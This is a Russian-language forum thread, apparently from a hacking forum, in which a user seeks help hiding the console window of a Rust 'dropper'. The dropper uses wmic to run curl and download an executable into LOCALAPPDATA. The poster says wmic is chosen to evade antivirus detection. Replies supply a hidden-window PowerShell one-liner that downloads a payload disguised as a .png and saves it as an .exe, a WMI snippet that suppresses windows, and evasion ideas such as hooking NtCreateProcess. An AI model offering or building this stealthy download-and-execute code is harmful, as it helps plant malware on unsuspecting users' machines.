• XSS.stack #1 – первый литературный журнал от юзеров форума

[Rust] вызвать curl через WMIC без окна консоли

bomboos

HDD-drive
Пользователь
Регистрация
09.05.2021
Сообщения
38
Реакции
5
Друзья, помогите добить момент. Нужно вызвать curl в скрытом режиме с помощью WMIC


Код:
 let local_app_data = env::var("LOCALAPPDATA").expect("Failed to get LOCALAPPDATA");
    let output = Command::new("wmic")
        .creation_flags(0x08000000)
        .args(&["process", "call", "create", &format!("curl.exe -L -o {}\\1.exe https://www.7-zip.org/a/7z2201-x64.exe", local_app_data)])
        .output()
        .expect("Failed to execute wmic command");
 
В том то и беда, мужчины, что с wmic маневр с добавлением флага не срабатывает, все равно curl запускается в отдельном окне консоли.
юзал
.creation_flags(0x08000000)
.creation_flags(0x00000008)
 
У тебя есть догадки что значит 'C' в названии wmiC?

Используй просто wmi/powershell wmi с параметром hidden
В чем проблема выше не читал тк лень, но это очевидно то что я бы попробовал
 
зачем тащить с собой curl.exe? не проще через libcurl как тут?
Код:
https://docs.rs/curl/latest/curl/
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
зачем тащить с собой curl.exe?
на десятке курл встроен по дефолту, мб он хочет скачать чето с инета средствами винды ?
 
десятке курл встроен по дефолту
не на всех к сожалению; хотя я обычно сижу на пиратских говно сборках, так что могу оказаться не прав
 
Как это поможет скрыть консоль?
Ну так пиши нормально что конкретно не получается. И причем тут раст вообще, если тебе надо гуглить параметры командной строки непосредственно wmic https://stackoverflow.com/questions/23728490/how-to-start-a-windows-process-minimized-using-wmic
Винды тестить у меня нет, так что сам.
 
Это скорее мне надо. Мнимизировать - получается. Выполнить без отображения окна вовсе - никак
Там ещё есть какой-то прикол с виртуальными рабочими столами или как оно в терминологии виндовса, я хз. Видел такое в коде hvnc, виртуальная форточка в которой браузер запускают. Может быть тоже стоит обратить внимание.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выполнить без отображения окна вовсе - никак
Я бы попробовал еще 2 варианта, мб и попробую, но завтра или ночью, сейчас нет времени:
1. Использовать СОМ WMI.
2. Перехватить Ntcreateprocess и там скрыть консоль.
 
Я бы попробовал еще 2 варианта, мб и попробую, но завтра или ночью, сейчас нет времени:
1. Использовать СОМ WMI.
2. Перехватить Ntcreateprocess и там скрыть консоль.
Собственно суть простая) дроппер. А он должен быть скрытым. Может есть еще альтернатива? Юзаю wmic для обхода детектов (подсказка другого юзера) а не на прямую юзаю cmd или powershell. То что сейчас есть у меня оно то работает, но куча окон всплывает (слава Богу без дефендера)
а сам я по веб больше, чуть чуть совсем разбираюсь в этом всем.
 
А пока ситуация следующая, corax прав. Это не в самом Rust, а в выполняемой команде. Сам wmic потом запускает curl в окне, вот я пока не нашел решение, что бы его выполнить в скрытом режиме.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да, запускать cmd, которая запустит wmic, который запустит curl - это настолько беспалевно, что прям вообще, аверы будут в шоке...
 
Да, запускать cmd, которая запустит wmic, который запустит curl - это настолько беспалевно, что прям вообще, аверы будут в шоке...
:D блин, ну задачу выполнить надо, знаний не хватает. Слушаю, набираюсь верхушек) Направишь в нужную сторону?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сам wmic потом запускает curl в окне, вот я пока не нашел решение, что бы его выполнить в скрытом режиме.
Я же писал выше, попробуйте
1. Использовать СОМ WMI.
2. Перехватить Ntcreateprocess и там скрыть консоль.
 
Друзья, помогите добить момент. Нужно вызвать curl в скрытом режиме с помощью WMIC


Код:
 let local_app_data = env::var("LOCALAPPDATA").expect("Failed to get LOCALAPPDATA");
    let output = Command::new("wmic")
        .creation_flags(0x08000000)
        .args(&["process", "call", "create", &format!("curl.exe -L -o {}\\1.exe https://www.7-zip.org/a/7z2201-x64.exe", local_app_data)])
        .output()
        .expect("Failed to execute wmic command");
Что-то такое :)

Код:
wmic process call create "powershell -WindowStyle hidden curl.exe http://url:port/wtf.png -o C:\Users\username\wtf.exe"

Но это странная тема: 1) wmic 2) cmd 3) powershell 4) curl – максимально скрытен и неуловим...

Для понимания, почему не работает флаг в коде Rust?
Потому что он применяется для процесса который будет выполнять саму команду wmic, а не процесса, который будет сгенерирован вызовом wmic process call create.

Взять например PS и поработать в нем с wmi:
Код:
$startup = [wmiclass]"Win32_ProcessStartup"
$startup.Properties['ShowWindow'].value = $False // Здесь мы устанавливаем свойство которое и будет влиять на вызов Win32_Process
([wmiclass]'Win32_Process').create('notepad.exe', 'C:\', $startup)

Взять например wmic.exe (и лучше положить на место):
Функция Create класса Win32_Process –
Код:
C:\Users\her_s_gorbI>wmic process call create /?
Call                    [ In/Out ]Params&type                   Status
====                    =====================                   ======
Create                  [IN ]CommandLine(STRING)                (null)


                        [IN ]CurrentDirectory(STRING)


                        [IN ]ProcessStartupInformation(OBJECT)


                        [OUT]ProcessId(UINT32)

Казалось бы принимает нужный аргумент (3-ий) которым можно скрыть окно, но...
Код:
Input parameter is of OBJECT type

Cause: Support is not fully implemented yet for input parameters which are of the OBJECT type. The default value (an empty string: "") is the only value currently supported.

Solution: Брось идею юзать консольную утилиту в Rust как тебе и подсказали, найди либу для работы с WMI.

MS решило что не нужоны вам аргументы типа Object.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх